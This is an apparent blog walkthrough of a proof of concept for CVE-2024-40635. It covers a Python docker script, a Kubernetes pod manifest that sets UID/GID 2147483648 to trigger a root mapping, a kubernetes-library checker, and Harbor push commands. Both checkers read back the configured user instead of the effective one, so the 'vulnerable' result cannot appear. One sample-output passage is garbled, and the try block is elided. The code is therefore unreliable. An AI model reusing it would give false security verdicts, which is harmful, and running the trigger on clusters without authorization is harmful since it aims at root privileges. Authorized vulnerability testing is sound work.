
Proof of Concept code for proving CVE-2024-40635 vulnerability
Proof of Concept code for proving CVE-2024-40635 vulnerability Data gathered from here: https://nvd.nist.gov/vuln/detail/CVE-2024-40635
import docker
This imports the Python docker library, which allows interaction with Docker using its API. If this library is not installed, you can add it by running:
pip install docker
client = docker.from_env()
Here, we create a Docker client object using the docker.from_env() method. This connects to the Docker daemon running on your machine (or a remote host, if configured).
def is_system_vulnerable(container):
try:
# Inspect container details
details = container.attrs
uid_gid = details['Config']['User']
print(f"Container UID:GID = {uid_gid}") # Print the UID:GID
if uid_gid == "0:0": # Root UID:GID
return True
return False
except Exception as e:
print(f"Error checking container details: {e}")
return False
Purpose: This function checks whether the system is vulnerable by inspecting the created container's attributes.
Key Steps:
container.attrs: Fetches all metadata about the container (configuration, runtime settings, etc.).
details['Config']['User']: Extracts the UID:GID (user and group ID) under which the container runs. This is the property we're testing for.
print(f"Container UID:GID = {uid_gid}"): Always prints the UID:GID for visibility.
Checking Vulnerability: If the UID:GID is "0:0", it indicates the container is running with root privileges, and the system is vulnerable.
container = client.containers.run(
"vulnerable-image", # Replace with your test image
user="2147483648:2147483648", # UID:GID exceeding 32-bit signed integer
detach=True
)
client.containers.run: This creates and starts a Docker container.
"vulnerable-image": Replace this with the name of an actual Docker image suitable for testing.
user="2147483648:2147483648": Here, we set a custom user and group ID (UID:GID). The values exceed the 32-bit signed integer range, which is the trigger condition for the vulnerability.
detach=True: This ensures the container runs in the background, allowing the script to proceed without waiting for the container to finish execution.
try:
...
except Exception as e:
print(f"Error: {e}")
This try-except block ensures that any errors during container creation or execution are caught and printed, avoiding abrupt termination of the script.
print(f"Container {container.id} started.")
Once the container is successfully created and started, its unique ID is printed for reference. This is useful for debugging or further inspecting the container.
if is_system_vulnerable(container):
print("System is vulnerable: Container is running as root!")
else:
print("System is not vulnerable.")
This calls the is_system_vulnerable function, passing the created container as an argument.
Based on the result (True for vulnerable, False for not vulnerable), it prints a corresponding message.
The script is designed to provide detailed information in its output, including:
The UID:GID assigned to the container.
A clear indication of whether the system is vulnerable or not.
Imagine this script is run in a test environment, and the following occurs:
2147483648:2147483648.0:0 (root), causing the container to run with root privileges.Container abc123 started.
Container UID:GID = 0:0
System is vulnerable: Container is running as root!
Alternatively, if the system correctly handles large UID:GID values and does not map them to root, you might see:
Container xyz456 started.
Container UID:GID = 2147483648:2147483648
System is not vulnerable.
"vulnerable-image" with a Docker image that suits your test scenario (e.g., an image with minimal dependencies).Running this proof of concept (PoC) in a live environment such as Kubernetes and Harbor for pentesting involves careful planning to ensure that testing is controlled, ethical, and impactful. Here’s a breakdown of how you can conduct this:
1. Plan and Prepare Understand the Scope: Define the boundaries of your testing. Ensure you have explicit permissions to perform pentesting in the live environment.
2. Backup: Create backups of critical systems and containers in case testing impacts their availability or data.
3 Testing Environment: Set up a separate namespace or cluster within Kubernetes dedicated to this PoC to avoid affecting production workloads.
Deploy a container using the vulnerable version of containerd (v1.6.35-gke.0) within your Kubernetes cluster.
Use a Docker image (e.g., "vulnerable-image") with minimal dependencies to keep the attack surface small.
Example YAML for Kubernetes Deployment:
apiVersion: v1
kind: Pod
metadata:
name: vulnerable-pod
namespace: pentest
spec:
containers:
- name: vulnerable-container
image: vulnerable-image # Replace with your test image
securityContext:
runAsUser: 2147483648 # Intentionally exceed 32-bit signed integer
runAsGroup: 2147483648
Apply the YAML with:
kubectl apply -f pod.yml
b. Verify with the PoC
Run the Python script you’ve developed from a machine that has access to the Kubernetes cluster. For instance, you can modify the script to interact with Kubernetes using the kubernetes Python library.
Install it with:
pip install kubernetes
Here’s an updated snippet to integrate Kubernetes:
from kubernetes import client, config
# Load Kubernetes configuration
config.load_kube_config()
# Create a Kubernetes API client
v1 = client.CoreV1Api()
# Check UID:GID for the specified pod
def check_pod_user(pod_name, namespace):
pod = v1.read_namespaced_pod(name=pod_name, namespace=namespace)
uid = pod.spec.containers[0].security_context.run_as_user
gid = pod.spec.containers[0].security_context.run_as_group
print(f"Pod {pod_name} UID:GID = {uid}:{gid}")
if uid == 0 and gid == 0:
print("System is vulnerable: Pod is running as root!")
else:
print("System is not vulnerable.")
check_pod_user("vulnerable-pod", "pentest")
docker tag vulnerable-image harbor.local/vulnerable-image:latest
docker push harbor.local/vulnerable-image:latest
Harbor allows you to control image access, so restrict access to ensure the vulnerable image is used only in pentesting.